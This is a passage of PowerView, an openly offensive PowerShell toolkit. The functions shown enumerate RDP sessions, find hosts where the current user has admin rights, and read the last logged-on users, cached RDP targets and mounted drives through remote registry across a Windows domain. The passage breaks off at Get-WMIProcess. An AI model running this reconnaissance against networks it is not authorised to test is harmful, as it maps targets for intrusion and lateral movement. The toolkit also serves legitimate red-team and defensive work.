14788
14789Get-NetRDPSession
14790
14791Returns active RDP/terminal sessions on the local host.
14792
14793.EXAMPLE
14794
14795Get-NetRDPSession -ComputerName "sqlserver"
14796
14797Returns active RDP/terminal sessions on the 'sqlserver' host.
14798
14799.EXAMPLE
14800
14801Get-DomainController | Get-NetRDPSession
14802
14803Returns active RDP/terminal sessions on all domain controllers.
14804
14805.EXAMPLE
14806
14807$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14808$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
14809Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
14810
14811.OUTPUTS
14812
14813PowerView.RDPSessionInfo
14814
14815A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
14816with the ComputerName added.
14817
14818.LINK
14819
14820https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
14821#>
14822
14823 [OutputType('PowerView.RDPSessionInfo')]
14824 [CmdletBinding()]
14825 Param(
14826 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14827 [Alias('HostName', 'dnshostname', 'name')]
14828 [ValidateNotNullOrEmpty()]
14829 [String[]]
14830 $ComputerName = 'localhost',
14831
14832 [Management.Automation.PSCredential]
14833 [Management.Automation.CredentialAttribute()]
14834 $Credential = [Management.Automation.PSCredential]::Empty
14835 )
14836
14837 BEGIN {
14838 if ($PSBoundParameters['Credential']) {
14839 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14840 }
14841 }
14842
14843 PROCESS {
14844 ForEach ($Computer in $ComputerName) {
14845
14846 # open up a handle to the Remote Desktop Session host
14847 $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
14848
14849 # if we get a non-zero handle back, everything was successful
14850 if ($Handle -ne 0) {
14851
14852 # arguments for WTSEnumerateSessionsEx
14853 $ppSessionInfo = [IntPtr]::Zero
14854 $pCount = 0
14855
14856 # get information on all current sessions
14857 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
14858
14859 # locate the offset of the initial intPtr
14860 $Offset = $ppSessionInfo.ToInt64()
14861
14862 if (($Result -ne 0) -and ($Offset -gt 0)) {
14863
14864 # work out how much to increment the pointer by finding out the size of the structure
14865 $Increment = $WTS_SESSION_INFO_1::GetSize()
14866
14867 # parse all the result structures
14868 for ($i = 0; ($i -lt $pCount); $i++) {
14869
14870 # create a new int ptr at the given offset and cast the pointer as our result structure
14871 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
14872 $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
14873
14874 $RDPSession = New-Object PSObject
14875
14876 if ($Info.pHostName) {
14877 $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
14878 }
14879 else {
14880 # if no hostname returned, use the specified hostname
14881 $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
14882 }
14883
14884 $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
14885
14886 if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
14887 # if a domain isn't returned just use the username
14888 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
14889 }
14890 else {
14891 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
14892 }
14893
14894 $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
14895 $RDPSession | Add-Member Noteproperty 'State' $Info.State
14896
14897 $ppBuffer = [IntPtr]::Zero
14898 $pBytesReturned = 0
14899
14900 # query for the source client IP with WTSQuerySessionInformation
14901 # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
14902 $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
14903
14904 if ($Result2 -eq 0) {
14905 Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
14906 }
14907 else {
14908 $Offset2 = $ppBuffer.ToInt64()
14909 $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
14910 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
14911
14912 $SourceIP = $Info2.Address
14913 if ($SourceIP[2] -ne 0) {
14914 $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
14915 }
14916 else {
14917 $SourceIP = $Null
14918 }
14919
14920 $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
14921 $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
14922 $RDPSession
14923
14924 # free up the memory buffer
14925 $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
14926
14927 $Offset += $Increment
14928 }
14929 }
14930 # free up the memory result buffer
14931 $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
14932 }
14933 else {
14934 Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
14935 }
14936 # close off the service handle
14937 $Null = $Wtsapi32::WTSCloseServer($Handle)
14938 }
14939 else {
14940 Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
14941 }
14942 }
14943 }
14944
14945 END {
14946 if ($LogonToken) {
14947 Invoke-RevertToSelf -TokenHandle $LogonToken
14948 }
14949 }
14950}
14951
14952
14953function Test-AdminAccess {
14954<#
14955.SYNOPSIS
14956
14957Tests if the current user has administrative access to the local (or a remote) machine.
14958
14959Idea stolen from the local_admin_search_enum post module in Metasploit written by:
14960 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
14961 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
14962 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
14963
14964Author: Will Schroeder (@harmj0y)
14965License: BSD 3-Clause
14966Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
14967
14968.DESCRIPTION
14969
14970This function will use the OpenSCManagerW Win32API call to establish
14971a handle to the remote host. If this succeeds, the current user context
14972has local administrator acess to the target.
14973
14974.PARAMETER ComputerName
14975
14976Specifies the hostname to check for local admin access (also accepts IP addresses).
14977Defaults to 'localhost'.
14978
14979.PARAMETER Credential
14980
14981A [Management.Automation.PSCredential] object of alternate credentials
14982for connection to the remote system using Invoke-UserImpersonation.
14983
14984.EXAMPLE
14985
14986Test-AdminAccess -ComputerName sqlserver
14987
14988Returns results indicating whether the current user has admin access to the 'sqlserver' host.
14989
14990.EXAMPLE
14991
14992Get-DomainComputer | Test-AdminAccess
14993
14994Returns what machines in the domain the current user has access to.
14995
14996.EXAMPLE
14997
14998$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14999$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15000Test-AdminAccess -ComputerName sqlserver -Credential $Cred
15001
15002.OUTPUTS
15003
15004PowerView.AdminAccess
15005
15006A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
15007the current user has local admin rights, along with the ComputerName added.
15008
15009.LINK
15010
15011https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
15012http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
15013#>
15014
15015 [OutputType('PowerView.AdminAccess')]
15016 [CmdletBinding()]
15017 Param(
15018 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15019 [Alias('HostName', 'dnshostname', 'name')]
15020 [ValidateNotNullOrEmpty()]
15021 [String[]]
15022 $ComputerName = 'localhost',
15023
15024 [Management.Automation.PSCredential]
15025 [Management.Automation.CredentialAttribute()]
15026 $Credential = [Management.Automation.PSCredential]::Empty
15027 )
15028
15029 BEGIN {
15030 if ($PSBoundParameters['Credential']) {
15031 $LogonToken = Invoke-UserImpersonation -Credential $Credential
15032 }
15033 }
15034
15035 PROCESS {
15036 ForEach ($Computer in $ComputerName) {
15037 # 0xF003F - SC_MANAGER_ALL_ACCESS
15038 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
15039 $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
15040
15041 $IsAdmin = New-Object PSObject
15042 $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
15043
15044 # if we get a non-zero handle back, everything was successful
15045 if ($Handle -ne 0) {
15046 $Null = $Advapi32::CloseServiceHandle($Handle)
15047 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
15048 }
15049 else {
15050 Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
15051 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
15052 }
15053 $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
15054 $IsAdmin
15055 }
15056 }
15057
15058 END {
15059 if ($LogonToken) {
15060 Invoke-RevertToSelf -TokenHandle $LogonToken
15061 }
15062 }
15063}
15064
15065
15066function Get-NetComputerSiteName {
15067<#
15068.SYNOPSIS
15069
15070Returns the AD site where the local (or a remote) machine resides.
15071
15072Author: Will Schroeder (@harmj0y)
15073License: BSD 3-Clause
15074Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
15075
15076.DESCRIPTION
15077
15078This function will use the DsGetSiteName Win32API call to look up the
15079name of the site where a specified computer resides.
15080
15081.PARAMETER ComputerName
15082
15083Specifies the hostname to check the site for (also accepts IP addresses).
15084Defaults to 'localhost'.
15085
15086.PARAMETER Credential
15087
15088A [Management.Automation.PSCredential] object of alternate credentials
15089for connection to the remote system using Invoke-UserImpersonation.
15090
15091.EXAMPLE
15092
15093Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
15094
15095Returns the site for WINDOWS1.testlab.local.
15096
15097.EXAMPLE
15098
15099Get-DomainComputer | Get-NetComputerSiteName
15100
15101Returns the sites for every machine in AD.
15102
15103.EXAMPLE
15104
15105$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15106$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15107Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
15108
15109.OUTPUTS
15110
15111PowerView.ComputerSite
15112
15113A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
15114#>
15115
15116 [OutputType('PowerView.ComputerSite')]
15117 [CmdletBinding()]
15118 Param(
15119 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15120 [Alias('HostName', 'dnshostname', 'name')]
15121 [ValidateNotNullOrEmpty()]
15122 [String[]]
15123 $ComputerName = 'localhost',
15124
15125 [Management.Automation.PSCredential]
15126 [Management.Automation.CredentialAttribute()]
15127 $Credential = [Management.Automation.PSCredential]::Empty
15128 )
15129
15130 BEGIN {
15131 if ($PSBoundParameters['Credential']) {
15132 $LogonToken = Invoke-UserImpersonation -Credential $Credential
15133 }
15134 }
15135
15136 PROCESS {
15137 ForEach ($Computer in $ComputerName) {
15138 # if we get an IP address, try to resolve the IP to a hostname
15139 if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
15140 $IPAddress = $Computer
15141 $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
15142 }
15143 else {
15144 $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
15145 }
15146
15147 $PtrInfo = [IntPtr]::Zero
15148
15149 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
15150
15151 $ComputerSite = New-Object PSObject
15152 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
15153 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
15154
15155 if ($Result -eq 0) {
15156 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
15157 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
15158 }
15159 else {
15160 Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
15161 $ComputerSite | Add-Member Noteproperty 'SiteName' ''
15162 }
15163 $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
15164
15165 # free up the result buffer
15166 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
15167
15168 $ComputerSite
15169 }
15170 }
15171
15172 END {
15173 if ($LogonToken) {
15174 Invoke-RevertToSelf -TokenHandle $LogonToken
15175 }
15176 }
15177}
15178
15179
15180function Get-WMIRegProxy {
15181<#
15182.SYNOPSIS
15183
15184Enumerates the proxy server and WPAD conents for the current user.
15185
15186Author: Will Schroeder (@harmj0y)
15187License: BSD 3-Clause
15188Required Dependencies: None
15189
15190.DESCRIPTION
15191
15192Enumerates the proxy server and WPAD specification for the current user
15193on the local machine (default), or a machine specified with -ComputerName.
15194It does this by enumerating settings from
15195HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
15196
15197.PARAMETER ComputerName
15198
15199Specifies the system to enumerate proxy settings on. Defaults to the local host.
15200
15201.PARAMETER Credential
15202
15203A [Management.Automation.PSCredential] object of alternate credentials
15204for connecting to the remote system.
15205
15206.EXAMPLE
15207
15208Get-WMIRegProxy
15209
15210ComputerName ProxyServer AutoConfigURL Wpad
15211------------ ----------- ------------- ----
15212WINDOWS1 http://primary.test...
15213
15214.EXAMPLE
15215
15216$Cred = Get-Credential "TESTLAB\administrator"
15217Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
15218
15219ComputerName ProxyServer AutoConfigURL Wpad
15220------------ ----------- ------------- ----
15221windows1.testlab.local primary.testlab.local
15222
15223.INPUTS
15224
15225String
15226
15227Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
15228
15229.OUTPUTS
15230
15231PowerView.ProxySettings
15232
15233Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
15234#>
15235
15236 [OutputType('PowerView.ProxySettings')]
15237 [CmdletBinding()]
15238 Param(
15239 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15240 [Alias('HostName', 'dnshostname', 'name')]
15241 [ValidateNotNullOrEmpty()]
15242 [String[]]
15243 $ComputerName = $Env:COMPUTERNAME,
15244
15245 [Management.Automation.PSCredential]
15246 [Management.Automation.CredentialAttribute()]
15247 $Credential = [Management.Automation.PSCredential]::Empty
15248 )
15249
15250 PROCESS {
15251 ForEach ($Computer in $ComputerName) {
15252 try {
15253 $WmiArguments = @{
15254 'List' = $True
15255 'Class' = 'StdRegProv'
15256 'Namespace' = 'root\default'
15257 'Computername' = $Computer
15258 'ErrorAction' = 'Stop'
15259 }
15260 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
15261
15262 $RegProvider = Get-WmiObject @WmiArguments
15263 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
15264
15265 # HKEY_CURRENT_USER
15266 $HKCU = 2147483649
15267 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
15268 $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
15269
15270 $Wpad = ''
15271 if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
15272 try {
15273 $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
15274 }
15275 catch {
15276 Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"
15277 }
15278 }
15279
15280 if ($ProxyServer -or $AutoConfigUrl) {
15281 $Out = New-Object PSObject
15282 $Out | Add-Member Noteproperty 'ComputerName' $Computer
15283 $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
15284 $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
15285 $Out | Add-Member Noteproperty 'Wpad' $Wpad
15286 $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
15287 $Out
15288 }
15289 else {
15290 Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
15291 }
15292 }
15293 catch {
15294 Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"
15295 }
15296 }
15297 }
15298}
15299
15300
15301function Get-WMIRegLastLoggedOn {
15302<#
15303.SYNOPSIS
15304
15305Returns the last user who logged onto the local (or a remote) machine.
15306
15307Note: This function requires administrative rights on the machine you're enumerating.
15308
15309Author: Will Schroeder (@harmj0y)
15310License: BSD 3-Clause
15311Required Dependencies: None
15312
15313.DESCRIPTION
15314
15315This function uses remote registry to enumerate the LastLoggedOnUser registry key
15316for the local (or remote) machine.
15317
15318.PARAMETER ComputerName
15319
15320Specifies the hostname to query for remote registry values (also accepts IP addresses).
15321Defaults to 'localhost'.
15322
15323.PARAMETER Credential
15324
15325A [Management.Automation.PSCredential] object of alternate credentials
15326for connecting to the remote system.
15327
15328.EXAMPLE
15329
15330Get-WMIRegLastLoggedOn
15331
15332Returns the last user logged onto the local machine.
15333
15334.EXAMPLE
15335
15336Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
15337
15338Returns the last user logged onto WINDOWS1
15339
15340.EXAMPLE
15341
15342Get-DomainComputer | Get-WMIRegLastLoggedOn
15343
15344Returns the last user logged onto all machines in the domain.
15345
15346.EXAMPLE
15347
15348$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15349$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15350Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
15351
15352.OUTPUTS
15353
15354PowerView.LastLoggedOnUser
15355
15356A PSCustomObject containing the ComputerName and last loggedon user.
15357#>
15358
15359 [OutputType('PowerView.LastLoggedOnUser')]
15360 [CmdletBinding()]
15361 Param(
15362 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15363 [Alias('HostName', 'dnshostname', 'name')]
15364 [ValidateNotNullOrEmpty()]
15365 [String[]]
15366 $ComputerName = 'localhost',
15367
15368 [Management.Automation.PSCredential]
15369 [Management.Automation.CredentialAttribute()]
15370 $Credential = [Management.Automation.PSCredential]::Empty
15371 )
15372
15373 PROCESS {
15374 ForEach ($Computer in $ComputerName) {
15375 # HKEY_LOCAL_MACHINE
15376 $HKLM = 2147483650
15377
15378 $WmiArguments = @{
15379 'List' = $True
15380 'Class' = 'StdRegProv'
15381 'Namespace' = 'root\default'
15382 'Computername' = $Computer
15383 'ErrorAction' = 'SilentlyContinue'
15384 }
15385 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
15386
15387 # try to open up the remote registry key to grab the last logged on user
15388 try {
15389 $Reg = Get-WmiObject @WmiArguments
15390
15391 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
15392 $Value = 'LastLoggedOnUser'
15393 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
15394
15395 $LastLoggedOn = New-Object PSObject
15396 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
15397 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
15398 $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
15399 $LastLoggedOn
15400 }
15401 catch {
15402 Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."
15403 }
15404 }
15405 }
15406}
15407
15408
15409function Get-WMIRegCachedRDPConnection {
15410<#
15411.SYNOPSIS
15412
15413Returns information about RDP connections outgoing from the local (or remote) machine.
15414
15415Note: This function requires administrative rights on the machine you're enumerating.
15416
15417Author: Will Schroeder (@harmj0y)
15418License: BSD 3-Clause
15419Required Dependencies: ConvertFrom-SID
15420
15421.DESCRIPTION
15422
15423Uses remote registry functionality to query all entries for the
15424"Windows Remote Desktop Connection Client" on a machine, separated by
15425user and target server.
15426
15427.PARAMETER ComputerName
15428
15429Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
15430Defaults to 'localhost'.
15431
15432.PARAMETER Credential
15433
15434A [Management.Automation.PSCredential] object of alternate credentials
15435for connecting to the remote system.
15436
15437.EXAMPLE
15438
15439Get-WMIRegCachedRDPConnection
15440
15441Returns the RDP connection client information for the local machine.
15442
15443.EXAMPLE
15444
15445Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
15446
15447Returns the RDP connection client information for the WINDOWS2.testlab.local machine
15448
15449.EXAMPLE
15450
15451Get-DomainComputer | Get-WMIRegCachedRDPConnection
15452
15453Returns cached RDP information for all machines in the domain.
15454
15455.EXAMPLE
15456
15457$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15458$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15459Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
15460
15461.OUTPUTS
15462
15463PowerView.CachedRDPConnection
15464
15465A PSCustomObject containing the ComputerName and cached RDP information.
15466#>
15467
15468 [OutputType('PowerView.CachedRDPConnection')]
15469 [CmdletBinding()]
15470 Param(
15471 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15472 [Alias('HostName', 'dnshostname', 'name')]
15473 [ValidateNotNullOrEmpty()]
15474 [String[]]
15475 $ComputerName = 'localhost',
15476
15477 [Management.Automation.PSCredential]
15478 [Management.Automation.CredentialAttribute()]
15479 $Credential = [Management.Automation.PSCredential]::Empty
15480 )
15481
15482 PROCESS {
15483 ForEach ($Computer in $ComputerName) {
15484 # HKEY_USERS
15485 $HKU = 2147483651
15486
15487 $WmiArguments = @{
15488 'List' = $True
15489 'Class' = 'StdRegProv'
15490 'Namespace' = 'root\default'
15491 'Computername' = $Computer
15492 'ErrorAction' = 'Stop'
15493 }
15494 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
15495
15496 try {
15497 $Reg = Get-WmiObject @WmiArguments
15498
15499 # extract out the SIDs of domain users in this hive
15500 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
15501
15502 ForEach ($UserSID in $UserSIDs) {
15503 try {
15504 if ($PSBoundParameters['Credential']) {
15505 $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
15506 }
15507 else {
15508 $UserName = ConvertFrom-SID -ObjectSid $UserSID
15509 }
15510
15511 # pull out all the cached RDP connections
15512 $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
15513
15514 ForEach ($Connection in $ConnectionKeys) {
15515 # make sure this key is a cached connection
15516 if ($Connection -match 'MRU.*') {
15517 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
15518
15519 $FoundConnection = New-Object PSObject
15520 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
15521 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
15522 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
15523 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
15524 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
15525 $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
15526 $FoundConnection
15527 }
15528 }
15529
15530 # pull out all the cached server info with username hints
15531 $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
15532
15533 ForEach ($Server in $ServerKeys) {
15534
15535 $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
15536
15537 $FoundConnection = New-Object PSObject
15538 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
15539 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
15540 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
15541 $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
15542 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
15543 $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
15544 $FoundConnection
15545 }
15546 }
15547 catch {
15548 Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
15549 }
15550 }
15551 }
15552 catch {
15553 Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
15554 }
15555 }
15556 }
15557}
15558
15559
15560function Get-WMIRegMountedDrive {
15561<#
15562.SYNOPSIS
15563
15564Returns information about saved network mounted drives for the local (or remote) machine.
15565
15566Note: This function requires administrative rights on the machine you're enumerating.
15567
15568Author: Will Schroeder (@harmj0y)
15569License: BSD 3-Clause
15570Required Dependencies: ConvertFrom-SID
15571
15572.DESCRIPTION
15573
15574Uses remote registry functionality to enumerate recently mounted network drives.
15575
15576.PARAMETER ComputerName
15577
15578Specifies the hostname to query for mounted drive information (also accepts IP addresses).
15579Defaults to 'localhost'.
15580
15581.PARAMETER Credential
15582
15583A [Management.Automation.PSCredential] object of alternate credentials
15584for connecting to the remote system.
15585
15586.EXAMPLE
15587
15588Get-WMIRegMountedDrive
15589
15590Returns the saved network mounted drives for the local machine.
15591
15592.EXAMPLE
15593
15594Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
15595
15596Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
15597
15598.EXAMPLE
15599
15600Get-DomainComputer | Get-WMIRegMountedDrive
15601
15602Returns the saved network mounted drives for all machines in the domain.
15603
15604.EXAMPLE
15605
15606$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15607$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15608Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
15609
15610.OUTPUTS
15611
15612PowerView.RegMountedDrive
15613
15614A PSCustomObject containing the ComputerName and mounted drive information.
15615#>
15616
15617 [OutputType('PowerView.RegMountedDrive')]
15618 [CmdletBinding()]
15619 Param(
15620 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15621 [Alias('HostName', 'dnshostname', 'name')]
15622 [ValidateNotNullOrEmpty()]
15623 [String[]]
15624 $ComputerName = 'localhost',
15625
15626 [Management.Automation.PSCredential]
15627 [Management.Automation.CredentialAttribute()]
15628 $Credential = [Management.Automation.PSCredential]::Empty
15629 )
15630
15631 PROCESS {
15632 ForEach ($Computer in $ComputerName) {
15633 # HKEY_USERS
15634 $HKU = 2147483651
15635
15636 $WmiArguments = @{
15637 'List' = $True
15638 'Class' = 'StdRegProv'
15639 'Namespace' = 'root\default'
15640 'Computername' = $Computer
15641 'ErrorAction' = 'Stop'
15642 }
15643 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
15644
15645 try {
15646 $Reg = Get-WmiObject @WmiArguments
15647
15648 # extract out the SIDs of domain users in this hive
15649 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
15650
15651 ForEach ($UserSID in $UserSIDs) {
15652 try {
15653 if ($PSBoundParameters['Credential']) {
15654 $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
15655 }
15656 else {
15657 $UserName = ConvertFrom-SID -ObjectSid $UserSID
15658 }
15659
15660 $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
15661
15662 ForEach ($DriveLetter in $DriveLetters) {
15663 $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
15664 $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
15665 $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
15666 if (-not $UserName) { $UserName = '' }
15667
15668 if ($RemotePath -and ($RemotePath -ne '')) {
15669 $MountedDrive = New-Object PSObject
15670 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
15671 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
15672 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
15673 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
15674 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
15675 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
15676 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
15677 $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
15678 $MountedDrive
15679 }
15680 }
15681 }
15682 catch {
15683 Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
15684 }
15685 }
15686 }
15687 catch {
15688 Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
15689 }
15690 }
15691 }
15692}
15693
15694
15695function Get-WMIProcess {
15696<#
15697.SYNOPSIS
15698
15699Returns a list of processes and their owners on the local or remote machine.
15700
